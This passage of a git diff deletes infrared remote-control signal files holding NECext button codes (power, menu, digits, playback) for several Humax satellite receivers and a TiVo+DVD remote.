parsed -protocol: NECext -address: 00 17 00 00 -command: 4F 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 60 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 61 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 63 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 64 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 65 00 00 00 -# -name: ANFANG -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 66 00 00 00 -# -name: ENDE -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 67 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir deleted file mode 100644 index 621a1ccfb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 00 00 00 00 -# -name: QUELLE -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0C 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 12 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 18 00 00 00 -# -name: GELB -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1A 00 00 00 -# -name: ROT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1C 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1D 00 00 00 -# -name: BLAU -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 40 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 43 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 46 00 00 00 -# -name: TEXT_(SEITE_+) -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 49 00 00 00 -# -name: TEXT_(SEITE_-) -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4A 00 00 00 -# -name: LISTE -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4D 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4E 00 00 00 -# -name: V-FORMAT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir deleted file mode 100644 index c5ce0642e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO_CENTRAL -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 09 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: NEXT_CHAPTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: PREVIOUS_CHAPTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: JUMP_TO_LIVE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 48 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 4A 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 4B 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir deleted file mode 100644 index 9a748e967..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 02 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: uhf -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: ?ok -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: reserved -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: ?down -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: ?gray -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 19 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: ?v- -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir deleted file mode 100644 index 7e49324d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 16 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 17 00 00 00 -# -name: WHITE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir deleted file mode 100644 index bcfd8818d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: tvsat -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: tone -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 16 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 18 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir deleted file mode 100644 index f411b953c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 0C 00 00 00 -# -name: tv/radio -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 12 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 15 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 18 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 40 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 41 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 43 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 46 00 00 00 -# -name: swappip -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 47 00 00 00 -# -name: movepip -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 48 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 49 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 4A 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 4D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 4E 00 00 00 -# -name: directory -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 4F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 60 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 61 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 62 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 63 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 64 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 65 00 00 00 -# -name: instreplay -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 66 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 67 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 68 00 00 00 -# -name: pipch -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 69 00 00 00 -# -name: setbookmark -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 6A 00 00 00 -# -name: listbookmarks -type: parsed -protocol: NECext -address: 02 17 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir deleted file mode 100644 index 3dd704c55..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 18 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 